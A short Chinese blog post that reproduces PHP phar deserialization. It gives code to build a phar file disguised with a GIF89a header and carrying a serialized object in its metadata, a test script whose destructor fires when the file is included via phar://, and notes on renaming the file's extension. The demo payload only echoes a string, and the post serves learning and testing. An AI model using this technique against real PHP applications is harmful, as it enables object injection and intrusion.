版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_33020901/article/details/83345877
看了上边的文章,然后根据他的代码来复现的。
众多文件操作函数能反序列化在于使用了 phar_parse_url
,之后有调用到 phar_var_unserialize。
生成 phar代码: test.txt随便写就行,没必要真实存在
<?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
反序列化 代码:
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
测试发现,phar在生成之后,即可随便改后缀了。生成的时候必须是.phar
还有一个就是 include 换成 is_file 的情况下,compress.zlib://phar://phar.jpg 这样没有被反序列化。
别的函数没有过多的测试。:)